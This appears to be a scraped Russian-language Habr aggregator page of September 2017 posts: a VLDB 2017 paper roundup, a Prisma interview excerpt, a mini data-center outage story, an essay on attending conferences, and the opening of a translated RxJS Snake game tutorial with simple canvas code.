                      Статья Стоунбрекера. Просто и честно — взяли и написали с нуля базу, чтобы сравнить с полдюжины алгоритмов распределенных транзакций для OLTP-систем. Никакого пиара и рекламы: просто честные графики и асимптотика для разных сценариев.


                      2.2 The End of a Myth: Distributed Transactions Can Scale


                      Очень оптимистичная заявка о возможности масштабировать производительность распределенных транзакций.


                      3. Подмена хранения


                      Модный подход сейчас — подменить у старых баз инфраструктуру хранения и подложить туда что-то быстрое. Например, in-memory key-value хранилище. Или, например, сразу два параллельных хранилища — строчное и колоночное. Или шесть хранилищ на разных физических машинах...


                      3.1 Fast Scans on Key-Value Stores


                      Что нужно сделать для решения OLAP-задач на key-value базе.


                      3.2 PaxosStore: High-availability Storage Made Practical in WeChat


                      Статья о том, как устроены базы данных у TenCent (WeChat). 800 миллионов активных пользователей — расскажите им про высокую нагрузку.


                      3.3 Parallel Replication across Formats in SAP HANA for Scaling Out Mixed OLTP/OLAP Workloads


                      OLTP + OLAP нагрузка на одной базе.


                      4. Оптимизация запросов


                      Насколько я понял, главный тренд сейчас — оптимизация запросов в распределенных системах. В идеале — на лету, с подстройкой/перестройкой плана прямо по ходу поступления данных.


                      4.1 Runtime Optimization of Join Location in Parallel Data Management Systems


                      4.2 SquirrelJoin: Network-Aware Distributed Join Processing with Lazy Partitioning


                      Вы считаете запрос на кластере, кластер нагружен параллельными задачами, причем неравномерно. Что делать, если отдельные узлы начинают работать явно медленнее других? Ответ — в статье.


                      5. Визуализация и анализ данных


                      5.1 ASAP: Prioritizing Attention via Time Series Smoothing


                      Как сгладить графики, убрав шум, но оставив аномалии.


                      5.2 Effortless Data Exploration with zenvisage: An Expressive and Interactive Visual Analytics System


                      Очень любопытный интерактивный инструмент.


                      6. Человеко-машинный интерфейс :)


                      6.1 Data Vocalization: Optimizing Voice Output of Relational Data


                      "Data Vocalization" звучит совершенно фантастически, но суть проста: как сжать выборку, выданную запросом, в ограниченный набор слов, чтобы вы дослушали Siri, а не разбили телефон.


                      6.2 Provenance for natural language Queries


                      <Лучшая статья VLDB 2017>. Да, именно так. Про то, как писать запросы к данным на естественном языке. Точнее так: как транслировать вопросы на естественном языке в запросы к данным, а результаты — обратно на человеческий язык.


                      Напоследок


                      Собственно, на этом всё. Казалось бы немного: я собрал тут для вас всего 14 статей. Но мне было бы очень интересно узнать, сколько людей реально прочтут их все до конца. Если возьмётесь, напишите в комментариях, сколько времени это заняло. Для тех, кто смелый, по ссылке — оставшиеся 218 статей: http://confer.csail.mit.edu/vldb2017/papers. И вот фото с доклада организаторов конференции.



                      PS. VLDB 2017 была в Мюнхене, для участников был маленький Октоберфест (хороший :)). Следующая VLDB будет в Бразилии, вливайтесь! Я постараюсь пройти с докладом (в 2015 не смог).

                      Original source: habrahabr.ru (comments, light).

                      https://habrahabr.ru/post/338180/


                      Метки:  

                      Как Алексей Моисеенков дошел до Prisma и пошел дальше

                      Четверг, 28 Сентября 2017 г. 16:51 + в цитатник
                      Prisma — приложение для оформления фотографий в стилистике определенных художников — стало одним из примеров резкой популярности на мировом рынке. Попутно «Призма» удостоилась как массе восхищенных похвал, так и ряду упреков: от вторичности разработки до краткосрочной популярности самого продукта. Алексей Моисеенков с начала и до сего дня — основной двигатель этого проекта. Далее — наш разговор с ним.

                      Бизнес-уроки


                      Ажиотаж прошел. Вы им правильно воспользовались? Может, есть обстоятельства, которые не позволили вам воспользоваться хайпом в достаточной мере?

                      Алексей Моисеенков: Секрета, как воспользоваться хайпом по максимуму, нет, но мы получили пользу в достаточной мере. Получили достаточно опыта. Наше использование хайпа было не в монетизации, а в опыте быстрого роста по всему миру. Одно из основных, что мы получили — опыт быстрой разработки и опыт оперативного общения с прессой.

                      Prisma никогда бы не осталась востребованной надолго. Стилизация фото — как мода. Ни мы, никто ничего не может сделать, чтобы хайп длился вечно. Денег и связей, наверное, мы могли бы извлечь больше, методов работы с аудиторией, конечно, можно было придумать ещё массу. Стоило бы активнее работать в Азии. Но это точно не известно, неясно, как бы эти шаги отразились на популярности «Призмы».
                      Читать дальше ->

                      https://habrahabr.ru/post/338758/


                      Метки:  

                      Как мы строили свой мини ЦОД. Часть 5 — пережитый опыт, обрывы, жара

                      Четверг, 28 Сентября 2017 г. 15:23 + в цитатник
                      TakeWYN сегодня в 15:23 Администрирование

                      Как мы строили свой мини ЦОД. Часть 5 — пережитый опыт, обрывы, жара

                        Здравствуйте! В прошлых статьях (часть один, два, три, четыре) мы рассказывали о том, как мы строили свой мини дата-центр.

                        В данной статье, мы постараемся рассказать о проблемах, которые нам пришлось пережить за последний год нашей работы. Мы надеемся, что эта статья поможет Вам не допустить тех ошибок, которые были допущены нами с самого начала и которые, нам пришлось устранять «по живому». Поехали!



                        Как Вы знаете из прошлых статей, нам необходимо было в сжатые сроки «протянуть» свою оптическую линию к новому аплинку, для защиты от DDoS атак (поскольку сервис находился под массированными DDoS атаками конкурентов). Так как делали мы это крайне быстро — то и допустили ряд ошибок, за которые впоследствии расплатились сполна.

                        Первый обрыв


                        Первый случай не заставил себя долго ждать. Уже в апреле (да да, именно в апреле) была сильная буря со снегопадом, которая повалила массу деревьев, а в нашем случае даже множество опор (столбов) по которым мы пробрасывали оптический кабель.



                        Была также проблема — достать оптический кабель, распределительные коробки и муфты и главное, найти бригаду которая бы это сделала, поскольку в тот день, пожалуй половина провайдеров г. Днепр, была без связи, из-за погодных условий, которые повлекли собой падения деревьев, столбов, обрывы оптических магистралей и т.п.

                        Деревья пилили жители, чтобы освободить дорогу и выехать на работу.



                        Обрыв оптического волокна произошел сразу в четырёх местах и было это весьма грустно.





                        Ситуация также осложнялась тем, что высота, на которой монтажники крепили оптический кабель, была недостижима для наших «стандартных» лестниц, но и из этой ситуации мы нашли выход. Пришлось взять вторую машину, которая используется для перевозки грузов и «покатушек» и устанавливать лестницу прямо внутрь, упирая её в сидение.



                        Приступили к работе.





                        Зачищаем оптическое волокно.



                        Свариваем последнюю жилу.



                        Провозились целый день, практически с раннего утра до вечера. Большое спасибо бригаде которая нам помогала, лезла по обледенелым столбам, мокла в полуметровых лужах и замерзала под «легким» апрельским ветерком.

                        Второй обрыв


                        Второй обрыв, произошел спустя месяц-полтора, на том же месте где и первый, как всегда в самый неподходящий для этого момент. А случился он из-за коммунальных служб, которые решили убрать поваленные деревья и заодно порвать все, до чего мог дотянутся ковш их экскаватора… (я надеюсь случайно).

                        В этот раз мы уже знали куда ехать и что с собой брать, подготовились основательно. В это время наш мини «ЦОД», уже сидел на резервном аплинке с полностью рабочим функционалом, что дало нам возможность не сильно спешить.







                        Ликвидация последствий прошла успешно, кабель постарались закрепить достаточно высоко, на сколько это было возможно. Как оказалось потом, не достаточно.

                        Третий обрыв


                        Спустя некоторое время (совсем небольшой промежуток) у нас снова пропал сигнал и мы первым делом поехали осматривать данный участок дороги. Все усложнялось тем, что нам необходимо было иметь в запасе как оптоволокно так и «фопы/муфты» в которые мы укладывали данное волокно. Но с такой периодичностью аварий, запасов становилось все меньше.

                        Обрыв произошел ровно на том же участке, в двух местах. Первую часть оборвал большегруз, вместе с электро-проводами, а вторую часть «добил» мусоровоз, который намотал уже обвисший кабель на себя и сорвал его с трёх опор.



                        Нам данная ситуация весьма надоела и мы решили действовать наверняка. Вызвали автовышку и начали крепить кабель так, чтобы его смог сорвать лишь падающий самолёт (не дай бог конечно).









                        Сварка волокна прошла успешно и интернет был подан.

                        Четвертый обрыв


                        Последний обрыв произошел в конце лета и в самом неудобном для нас месте, над высоковольтными троллейбусными проводами, над оживленной дорогой. Как выяснилось позднее, электрики меняли крепежные элементы и случайно задели наш кабель.

                        Нужно отдать должное бригаде которая устраняла обрыв, делали они это бесстрашно. Высота, даже по сравнению с нашими прошлыми обрывами была очень серьезная (около 10м.).







                        Жара


                        Но не только с обрывами и снежной весной мы сталкивались за этот год, но и с аномальной жарой, которая чуть не парализовала работу нашего мини цода.

                        В середине лета, в Украине началась аномальная жара. Температура в тени поднималась до 45 градусов по цельсию. У нас стоит мощный, дорогой, канальный кондиционер, который, к сожалению, обслуживался не так часто, как это требовалось. И вот, когда неделю-другую, стояла жара под 45 градусов, а ночью 30 — у нас начались приключения.



                        Сначала, у нас начал «взлетать» ЦОД из-за блейд систем HP C7000. Там стоят куллеры по типу «турбин» и звучат они очень спецефично. Температура была (в самой жаркой точке) около 40 градусов, на блейд-системах около 30.



                        Первым делом, конечно, мы начали обслуживать кондиционер, проверили и добавили фреона, прочистили систему и радиатор и вроде-бы это помогло, но ровно на неделю.



                        Мы решили добавить еще один кондиционер, напольный, в помощь основному. Но это дало обратный эффект, температура начала только подниматься.



                        Мы пошли по принципу «удаления теплого воздуха» и начали реконструировать вытяжную систему. Купили и установили вытяжку, проложили вытяжные каналы и т.п.





                        Тест вытяжки, поглощение листа А4:



                        Делали даже так:



                        На какое-то время это дало нужный эффект, и месяц мы жили относительно без проблем, но с повышенной температурой в серверной зоне. Мы решились на замену кондиционера на новый, поскольку посчитали что старый вышел из строя (эксперты указали нам на это). Установили новый, более мощный кондиционер (также канальный), потратили массу финансов но эффекта это практически не дало.

                        Перепробовав все возможные варианты, переговорив с десятком фирм-подрядчиков мы не нашли никакого адекватного решения, температура была в пределах нормы, но в её граничной части, что нас также не устраивало. Серверы хоть и не перегревались, но при наращивании оборудования это стало бы проблемой.

                        И вот, один умный человек (NM из компании PINSPB привет!), подсказал нам, казалось бы не реальное решение проблемы. Вся проблема заключалась в том, что у нас в некоторых углах, скапливался горячий воздух и никуда не уходил и сколько бы мы не подавали холодного, он сразу становился теплым. Мы прислушались к совету коллеги и попробовали сделать тестовое решение из подручных средств.



                        Признаюсь честно, относился я к этому скептически, да и выглядело глупо. Но спустя час работы температура в дата-центре опустилась с 29-30 до 22-24 градусов! Безусловно, бытовой вентилятор был временной мерой и через 2 дня мы установили вентиляционную систему, которая гоняла воздух по серверной в промышленных масштабах и помогала вытяжке еще лучше. Но вентилятор и совет коллеги, помог нам понять суть проблемы, которую не поняли с десяток фирм-подрядчиков.

                        Вот и мы, хотим чтобы наш опыт, помог не совершать ошибок другим нашим коллегам, которые только задумываются о «постройке» своего решения или уже делают это.

                        Спасибо за внимание!
                        Original source: habrahabr.ru (comments, light).

                        https://habrahabr.ru/post/337658/


                        Метки:  

                        Какие конференции работают и как туда ездить

                        Четверг, 28 Сентября 2017 г. 14:54 + в цитатник
                        Milfgard сегодня в 14:54 Управление

                        Какие конференции работают и как туда ездить



                          Самое раздражающее в конференциях – это то, что они похожи на видео. Причём то, которое не перемотать. Если бы спикера можно было бы прочитать, это сэкономило бы всем несколько дней жизни. Точнее, даже так: есть те, которые похожи на рекламу без перемотки, а есть те, где говорят о том, что нельзя нигде прочитать.

                          Самое приятное – то, что люди, встречаясь лично, делятся ноу-хау и числами. Не знаю, как в других областях, а у нас в рознице все всё сразу узнают. Где-то сделали скидку по аренде в торговом центре – через месяц никто за обычную цену не возьмётся уже. Кто-то из сервисов облажался – репутация на всю жизнь. Кто-то приходит и говорит «А вот мы сделали успешный проект для того-то» — можно прямо взять и позвонить, и выяснится, что третья черепаха врёт. Естественно, это не везде так, но очень четкий тренд есть.

                          На основных конференциях самое интересное происходит там, где нет прессы. Иногда есть негласное правило – эти разговоры наружу не выносить. Там речь про числа. Можно подойти после выступления и попросить посмотрет показатель из финмодели.

                          Естественно, мы любим ходить на конференции за этим, и за идеями. Но при этом очень жалко времени. Это рождает ряд особенностей.

                          Общий канал


                          У нас принято так: есть письмо примерно на дюжину адресов — те, кому надо быть в курсе внутри компании. Когда кто-то идёт на конференцию, он не просто сидит, а протоколирует, что происходит. Через свою личную точку зрения типа: «Скучное выступление про сервисы доставки, ничего нового», или – «Они сделали удачный проект, можно поспрашивать вот у того-то детали, вот телефон и почта». Но в целом – это тезисы выступления и озвученные идеи. Письмо пишется прямо во время конференции, потом отправляется.

                          Вот примеры выдержек:

                          Сначала я попал на какого-то чувака, который рассказывал про то, что 65% людей отваливаются на оплате картой. Типа, ужас-ужас, денег нет только у 11%, у остальных — блок от фрода, херовый интерфейс, косой 3D-секьюр, пользуйтесь нашим продуктом. Это все заказы с оплатой картой, которые не были сделаны. Самое полезное в выступлении — это факт о том, что 7 лет назад за подтверждением транзакции надо было ходить к банкомату, а сейчас код приходит на телефон.

                          Наш общий друг *** выступает, слегка принял перед выступлением. Ликбезы…

                          Ещё один чувак рассказывает про оперативную реакцию. Каждый заказ на сайте порождает SMS на нокию, прикрученную скотчем в колл-центре. Запищала противно — обновили заказы. Они же по средам анализируют все звонки (среды же) по чеклисту, чтобы понять, когда КЦ расслабился…

                          Выступает ***, SEO. Говорит, по куче товаров до 50% запросов — уникальные. В смысле, что люди ищут редкостную фигню вроде «настольная игра монополия с фигуркой машины». Советует *** для семантики (платная), говорит, видит связанные запросы, которые не видит Яндекс. Я написал, попросил триал. Много говорили про кластеризацию запросов, но я не понял практических выводов…

                          Аааа: «Было слишком много заказов, и нам пришлось закрыть магазин»…

                          Дима, увидишь Артема — скажи, что уходя со стенда, надо забирать личные визитки и вывеску, а не только баннер. Я там постоял, продавал его платформу потом, обещал скидки 80%, раздал оставшиеся визитки.

                          Обсуждение


                          В эти письма ещё включаются фотографии самых интересных слайдов. Потом это всё прямо в переписке обсуждается на предмет что и где можно докрутить, и что на что влияет. Каждая конференция – это такой мозговой шторм по этим письмам. Все разбредаются по углам и считают. Потом назначаются десятки встреч – с потенциальными контрагентами, про которых хорошо отозвались, с другой розницей обменяться опытом дальше по конкретной теме, постажироваться друг у друга и так далее.

                          Ритейлописьмо пишет каждый. Это обычно огромная телега, где всё подряд: кто о чем говорил, как разные компании справляются с трудностями, какие у кого ноу-хау, что хочется внедрить у нас, а еще – про полезные знакомства, новые тренды, навеянные мысли… После первой конференции у Димы (учредителя) было аж 87 пунктов, которые он считал необходимым внедрить в Мосигре. Потом их становилось меньше и меньше.

                          Недавно мы их пересматривали – и поняли как за 6 лет поменялось мировоозрение. На первых конференциях серьёзных парней мы искренне удивлялись тому, что управляющий каждого магазина знает экономику своего магазина (сейчас у нас так), что развитие концентрируется на регионах присутствия — то есть в новые регионы лезут только при острой необходимости (сейчас у нас тоже так, но путь был тернист), что существует политика, какого типа магазин должен быть первым в регионе – например, не начинать с островка в торговом центре (сейчас у нас тоже так). Что нужно заключать долгосрочные договора с ТЦ — это выгодно всем. Что оплата бывает фикс + % с оборота (тогда мы не знали, а теперь это постоянная практика). Есть куча параметров, котрые неплохо бы измерять (выручка на сотрудника, на метр, и т.д.) — все они нужны.

                          Сегодня, конечно, мы возвращаемся с другими записями. В меру своего понимания – это работа над LTV, управление командой, повышение эффективности IT, и, опять же, новые контакты для совместных проектов, совместные точки роста.

                          Выбор конференции


                          Первоначально критерий выбора был простой – куда нас зовут выступать, там мы и слушаем. Билеты на нормальную конференцию стоят 15-35 тысяч рублей (за день-два), поэтому всё воспринималось как непрофильные расходы. А спикера пускают за так, и ещё кормят.

                          Выяснилось, что конференции бывают двух типов – «лишь бы собрать» и «для пользы дела». Объясню разницу – когда Борис Черток в «Ракеты и люди» рассказывал про конференцию советских ракетчиков, это был второй полезный тип:

                          Для меня эта конференция поначалу представлялась неизбежной потерей времени, отрывающей от работы и писания этих мемуаров. Но по мере разработки программы стало очевидным, что она будет необычной.
                          В программу двух пленарных заседаний и секции «История ракетно-космической техники» были заявлены доклады, содержание которых показалось бы совершено немыслимым еще два-три года назад. Сенсационность докладов, в частности, представленных на исторической секции, состояла в том, что содержание некоторых из них до последних лет имело гриф «совершенно секретно», и любой из них, конечно же, не мог быть доложен аудитории, в которой присутствовали американские ученые и корреспонденты зарубежной прессы…
                          Однако не только за рубежом, но даже среди наших, допущенных к совершенно секретным работам ракетных специалистов очень узкий круг знает о том, что у знаменитой «семерки» был сильный конкурент по доставке ядерного заряда — составная крылатая межконтинентальная ракета «Буря». Летные испытания «Бури» начались раньше, чем полетела Р-7, но были прекращены в 1959 году.
                          Почти никто из наших ракетно-космических специалистов не знает и того, что у современного, всем известного крылатого корабля «Буран» был совершенно секретный, тоже крылатый тезка. Он, не успев сделать и одного полета, был остановлен в производстве после первого успешного полета баллистической «семерки».
                          Назначение космических аппаратов знаменитой серии «Космос» до самого последнего времени оставалось для широкой общественности далеко не ясным. То есть в принципе каждый, кто интересовался космической техникой, понимал, что существуют средства всяческой космической разведки. Мы клеймили американцев, объявляя, что они («ах, какие нехорошие!») запустили очередной «спутник-шпион» для наблюдения за территорией Советского Союза, стран Варшавского договора, наблюдения за «горячими» точками.
                          О своих спутниках аналогичного назначения мы молчали. Ну не так, чтобы совсем: начиная с 1962 года регулярно появлялись сообщения ТАСС, что запущен ИСЗ «Космос №…». Так, например, если взять на выбор 1986 год, по официальным сообщениям, запущены спутники серии «Космос» с № 1715 по № 1810! 95 спутников, которые, согласно сообщениям ТАСС, за некоторыми исключениями, предназначены «для продолжения исследования космического пространства». А всего мы к марту 1992 года довели число таинственных «Космосов» до 2182!
                          В докладах на конференции со значительной части «Космосов» было снято плотное покрывало секретности. Часть «Космосов», в особенности относившиеся к первой тысяче, имели самое непосредственное отношение к деятельности нашего коллектива.

                          Конференции первого типа — это когда кто-то из продуктовых сервисов решает себя продать подороже и собирает людей и выступающих. Очень чётко можно отличить такие конференции «приходите слушать рекламу» и «полезно для сферы» по чёткости подбора выступающих. Смотрите на повестку и ищете знакомых. Если там много тех, кого хочется послушать, и они говорят примерно в одной канве – значит, про план подумали заранее, и всё это для смысла. Если выступающие в разнобой, и есть откровенно слабые – это задница.

                          Мы как-то очень много обсуждали бизнес-планы конференций с Лёхой 23derevo из JUG пару лет назад. Поскольку его конференции самоокупаемые, то есть зависят от продаж билетов и интересности, он очень много времени уделяет не только подбору выступающих, но и их подготовке. За три месяца до конференции – прослушивание доклада, советы. Если надо – тренинги по выступлениям. Если надо – перерисовка презентации в более подходящую под большой экран. И так далее. Там чувствуется работа за год – одна конференция кончилась, сразу уже есть план следующей, и понимание, кто про что будет говорить. Знакомые мне региональные конференции собираются куда позже и второпях. Что меня ещё удивляет – на тяп-ляп конференциях всегда что-то не успевают и жуткая спешка. На нормальных есть всё – от карточки проезда до программы по минутам в духе «13:07 – 13:22 — Иван Иванов из проекта такого-то, вот тезисы». Естественно, по таким куда проще ориентироваться. Ещё в конце часто расшаривают презентации или вообще дают распечатки всего, это тоже бывает жутко удобно.

                          Отдельные примеры хороших открытых конференций – это «Оборота» в Москве, например, «Электронная торговля» в середине октября (чертовски правильные парни, большинство московских советов оттуда), скоро будут «Секреты Сервиса» в Новосибирске, позапрошлый OBR в Екатеринбурге был просто прекрасен. «Оборот» особенно рекомендую – там много космических вещей, которые, возможно, не повторить сразу, но есть возможность и правильно пообщаться, и задать все нужные вопросы в кулуарах, и послушать про тренды. Люди там очень откровенные (настолько, что по результатам выступлений назначили пару выездных проверок как-то), подбор спикеров всегда удачный, доклады отбираются так, чтобы получался хороший эксклюзив плюс инсайдерская информация о компании докладчика. «Электронная торговля» — одна из немногих конференций, откуда мы вытаскиваем огромное количество пунктов ко внедрению в новых письмах. Хорошие делает Redis Retail Club (последнее крутое — Digitale в Петербурге), отличные «Бизнес со смыслом». Интересные вещи бывают у Retail Forum Russia.

                          Ну и ещё одно: иногда мы приезжаем на полчаса. Если в каждом потоке нет ничего интересного – лучше уехать сразу, чем терпеть этот ад. Потому что адекватные люди уже так сделали точно.

                          По поводу когда приезжать, кстати, есть ещё одно отличие хороших конференций – обычно утром все более бодрые, и никого из опоздавших не ждут. Поэтому первые доклады огонь-огонь. Не, понятно, что вечером ставится ещё один-два сильных выступающих, чтобы народ не ушёл раньше времени, но приходить надо с самого начала. Отсюда ещё критерий: если вы видите, что можно пропустить первые три доклада, скорее всего – можно пропустить и остальные десять.

                          Вот примерно так. Так что не сбрасывайте со счётов этот странный формат «живого видео». Он полезный. Но только если не делать как все. Критерий «не как все» — за конференцию уходит 50 визиток. И все по делу.
                          Original source: habrahabr.ru (comments, light).

                          https://habrahabr.ru/post/338528/


                          Метки:  

                          Avamar не копирует дважды

                          Четверг, 28 Сентября 2017 г. 14:51 + в цитатник

                          Метки:  

                          [Перевод] Укрощение Змейки с помощью реактивных потоков

                          Четверг, 28 Сентября 2017 г. 14:24 + в цитатник
                          Poccomaxa_zt сегодня в 14:24 Разработка

                          Укрощение Змейки с помощью реактивных потоков

                          • Перевод
                          • Tutorial


                          Веб в наши дни двигается очень быстро и мы все это знаем. Сегодня Реактивное Программирование является одной из самых горячих тем в веб-разработке и с такими фреймворками, как Angular или React, она стала гораздо более популярной, особенно в современном мире JavaScript. В сообществе произошел массовый переход от императивных парадигм программирования к функциональным реактивным парадигмам. Тем не менее, многие разработчики пытаются с этим бороться и часто перегружены его сложностью (большой API), фундаментальным сдвигом в мышлении (от императивного к декларативному) и множеством понятий.

                          Хотя это не самая простая тема, но как только мы сумеем ее понять, мы спросим себя, как мы могли без нее жить?

                          Эта статья не предназначена для введения в реактивное программирование, и если вы совершенный новичок в ней, мы рекомендуем следующие ресурсы:



                          Цель этой публикации — научиться мыслить реактивно, построив классическую видеоигру, которую все мы знаем и любим — Змейка. Правильно, видеоигра! Это забавная, но сложная система, которая содержит в себе много внешнего состояния, например: счет, таймеры или координаты игрока. Для нашей версии мы будем широко использовать Observables (наблюдаемые) и использовать несколько разных операторов, чтобы полностью избежать сторонних влияний на внешнее состояние. В какой-то момент может возникнуть соблазн сохранить состояние за пределами потока Observable, но помните, что мы хотим использовать реактивное программирование и не полагаться на отдельную внешнюю переменную, которая сохраняет состояние.

                          Примечание. Мы будем использовать HTML5 и JavaScript исключительно с RxJS, чтобы преобразовать программный цикл событий в приложение, основанное на реактивном событии.

                          Код доступен на Github, и здесь можно найти демо-версию. Я призываю Вас клонировать проект, немного повозиться с ним и реализовать интересные новые игровые функции. Если вы это сделаете, напишите мне в Twitter.

                          Содержание

                          • Игра
                          • Настройка сцены
                          • Идентификация исходных потоков
                          • Управление змейкой
                            • Поток направления (direction$)
                          • Отслеживание длины
                            • BehaviorSubject как спасение
                            • Реализация счета (score$)
                          • Укрощение змейки (snake$)
                          • Создание яблок
                            • Вещание событий
                          • Собирая всё вместе
                            • Поддержание производительности
                            • Отображение сцены
                          • Будущая работа
                          • Особая благодарность


                          Игра

                          Как упоминалось ранее, мы собираемся воссоздать Змейку, классическую видеоигру с конца 1970-х годов. Но вместо простого копирования игры мы добавим немного вариации к ней. Вот как работает игра.

                          Как игрок Вы контролируете линию, похожую на голодную змею. Цель состоит в том, чтобы съесть столько яблок, сколько сможете, чтобы вырасти как можно длиннее. Яблоки можно найти в случайных позициях на экране. Каждый раз, когда змея ест яблоко, её хвост становится длиннее. Стены не остановят вас! Но послушайте, Вы должны стараться избегать попадания в своё собственное тело любой ценой. Если Вы этого не сделаете, игра окончена. Как долго Вы сможете выжить?

                          Вот предварительный пример того, что мы собираемся сделать:



                          Для этой конкретной реализации змея представлена в виде линии синих квадратов, где ее голова окрашена в черный цвет. Можете ли Вы сказать, как выглядят фрукты? Точно, красные квадраты. Все сущности это квадрат, и это не потому, что так они выглядят красивее, а потому что это очень простые геометрические фигуры и они легко рисуются. Графика не очень блестящая, но эй, речь ведь идет о переходе от императивного программирования к реактивному программированию, а не об игровом искусстве.

                          Настройка сцены

                          Прежде чем мы начнем работать с функциональностью игры, нам нужно создать элемент canvas (холст), который дает нам мощные API-интерфейсы рисования из JavaScript. Мы будем использовать холст для рисования нашей графики, включая игровое поле, змею, яблоки и в основном все, что нам нужно для нашей игры. Другими словами, игра будет полностью отображаться в элементе canvas.

                          Если это совершенно ново для Вас, ознакомьтесь с этим курсом на egghead от Keith Peters.

                          Файл index.html довольно прост, потому что большая часть магии происходит в JavaScript.

                          
                          
                            
                            
                          
                          
                            
                          
                          
                          


                          Сценарий (script), который мы добавляем к телу (body), по сути является результатом процесса сборки и содержит весь наш код. Однако вам может быть интересно, почему в body нет такого элемента как canvas. Это потому, что мы создадим этот элемент с помощью JavaScript. Кроме того, мы добавляем несколько констант, которые определяют количество строк и столбцов, а также ширину и высоту холста.

                          export const COLS = 30;
                          export const ROWS = 30;
                          export const GAP_SIZE = 1;
                          export const CELL_SIZE = 10;
                          export const CANVAS_WIDTH = COLS * (CELL_SIZE + GAP_SIZE);
                          export const CANVAS_HEIGHT = ROWS * (CELL_SIZE + GAP_SIZE);
                          
                          export function createCanvasElement() {
                            const canvas = document.createElement('canvas');
                            canvas.width = CANVAS_WIDTH;
                            canvas.height = CANVAS_HEIGHT;
                            return canvas;
                          }
                          


                          С помощью этого мы можем вызвать эту функцию, создать элемент canvas на лету и добавить его в body нашей страницы:

                          let canvas = createCanvasElement();
                          let ctx = canvas.getContext('2d');
                          document.body.appendChild(canvas);
                          


                          Обратите внимание, что мы также получаем ссылку на CanvasRenderingContext2D, вызывая getContext ('2d') на элементе canvas. Этот контекст 2D-рендеринга для холста позволяет нам рисовать, например, прямоугольники, текст, линии, пути и многое другое.

                          Мы готовы двигаться! Давайте начнем работу над основной механикой игры.

                          Идентификация исходных потоков

                          Исходя из примера и описания игры мы знаем, что нам нужны следующие функции:

                          • Управление змеей с помощью клавиш со стрелками
                          • Слежение за счетом игрока
                          • Слежение за змеей (включая еду и перемещение)
                          • Слежение за яблоками на поле (включая создание новых яблок)


                          В реактивном программировании речь идет о программировании на основе потоков данных, потоков входных данных. Концептуально, когда выполняется реактивная программа, она устанавливает наблюдение за источником информации, и реагирует на изменения, такие как например, взаимодействие пользователя с приложением, при нажатии клавиши на клавиатуре или просто следующий этап интервала. Так что все дело в том, чтобы понять, что может измениться. Эти изменения часто определяют исходные потоки. Главная задача определиться с исходными потоками, а затем составить их вместе, чтобы рассчитать все, что Вам нужно, например, состояние игры.

                          Попробуем найти наши исходные потоки, посмотрев на вышеприведенные функции.

                          Прежде всего, вводимые пользователем данные определенно будут меняться со временем. Игрок перемещает голодную змею с помощью клавиш со стрелками. Это означает, что наш первый исходный поток — keydown$, который будет инициировать изменение значения всякий раз, когда нажата клавиша.

                          Затем нам нужно следить за счетом игрока. Счет в основном зависит от того, сколько яблок съела змея. Можно сказать, что счет зависит от длины змеи, потому что всякий раз, когда змея растет, мы хотим увеличить счет на 1. Поэтому наш следующий исходный поток — snakeLength$.

                          Опять же, важно определить основные потоки, из которых мы можем вычислить все, что Вам нужно, например, счет. В большинстве случаев исходные потоки объединяются и преобразуются в более конкретные потоки данных. Через минуту мы увидим это в действии. На данный момент давайте продолжим определение наших основных потоков.

                          На данный момент мы получили события пользовательского ввода и счет. Нам остались более игровые или интерактивные потоки, такие как змея или яблоки.

                          Давайте начнём со змеи. Основной механизм змеи прост: она движется со временем, и чем больше яблок она съедает, тем больше она растет. Но что именно является потоком змеи? На данный момент мы можем забыть о том, что она ест и растет, потому что в первую очередь важно то, что она зависит от фактора времени, когда она движется со временем, например, 5 пикселей каждые 200 ms. Таким образом, наш исходный поток — это интервал, который отправляет значение после каждого периода времени, и мы называем это ticks$. Этот поток также определяет скорость нашей змеи.

                          И последнее, но не менее важное: яблоки. Расположить яблоки на поле учитывая всё — довольно просто. Этот поток в основном зависит от змеи. Каждый раз, когда змея движется, мы проверяем, сталкивается ли голова змеи с яблоком или нет. Если это так, мы удаляем это яблоко и генерируем новое в произвольной позиции на поле. Как упоминалось, нам не нужно вводить новый поток данных для яблок.

                          Отлично, это всё, что касается основных потоков. Вот краткий обзор всех потоков, которые нам нужны для нашей игры:

                          • keydown$: события нажатия клавиши (KeyboardEvent)
                          • snakeLength$: представляет длину змеи (Number)
                          • ticks$: интервал, который представляет движение змеи (Number)


                          Эти исходные потоки создают основу для нашей игры, из которой мы можем рассчитать все другие значения, которые нам необходимы, включая счет, состояние змеи и яблоки.

                          В следующих разделах мы более подробно рассмотрим, как реализовать каждый из этих исходных потоков и применить их для генерации необходимых нам данных.

                          Управление змейкой

                          Давайте погрузимся прямо в код и внедрим механизм управления для нашей змеи. Как упоминалось в предыдущем разделе, управление зависит от ввода с клавиатуры. Оказывается, это ужасно просто, и первым шагом является создание наблюдаемой (observable) последовательности из событий клавиатуры. Для этого мы можем использовать оператор fromEvent():

                          let keydown$ = Observable.fromEvent(document, 'keydown');


                          Это наш самый первый исходный поток, и он будет инициировать KeyboardEvent каждый раз, когда пользователь нажимает клавишу. Обратите внимание, что буквально каждый keydown инициирует событие. Поэтому мы также получаем события для клавиш, которые нас абсолютно не интересуют, и это в основном все остальные клавиши, кроме клавиш со стрелками. Но прежде чем решать эту конкретную проблему, мы определяем постоянную карту направлений:

                          export interface Point2D {
                            x: number;
                            y: number;
                          }
                          
                          export interface Directions {
                            [key: number]: Point2D;
                          }
                          
                          export const DIRECTIONS: Directions = {
                            37: { x: -1, y: 0 }, // Left Arrow
                            39: { x: 1, y: 0 },  // Right Arrow
                            38: { x: 0, y: -1 }, // Up Arrow
                            40: { x: 0, y: 1 }   // Down Arrow
                          };
                          


                          Посмотрев на объект KeyboardEvent, можно предположить, что каждый ключ имеет уникальный keyCode. Чтобы получить коды для клавиш со стрелками, мы можем использовать эту таблицу.

                          Каждое направление имеет тип Point2D, который является просто объектом с x и y свойствами. Значение для каждого свойства может быть равно 1, -1 или 0, указывая, где должна быть змея. Позже мы будем использовать направление для получения новой позиции сетки для головы и хвоста змеи.

                          Поток направления (direction$)

                          Итак, у нас уже есть поток для событий keydown, и каждый раз, когда игрок нажимает клавишу, нам нужно сопоставить значение, которое являет собой KeyboardEvent, одному из векторов направления выше. Для этого мы можем использовать оператор map() для проецирования каждого события клавиатуры на вектор направления.

                          let direction$ = keydown$
                            .map((event: KeyboardEvent) => DIRECTIONS[event.keyCode])
                          


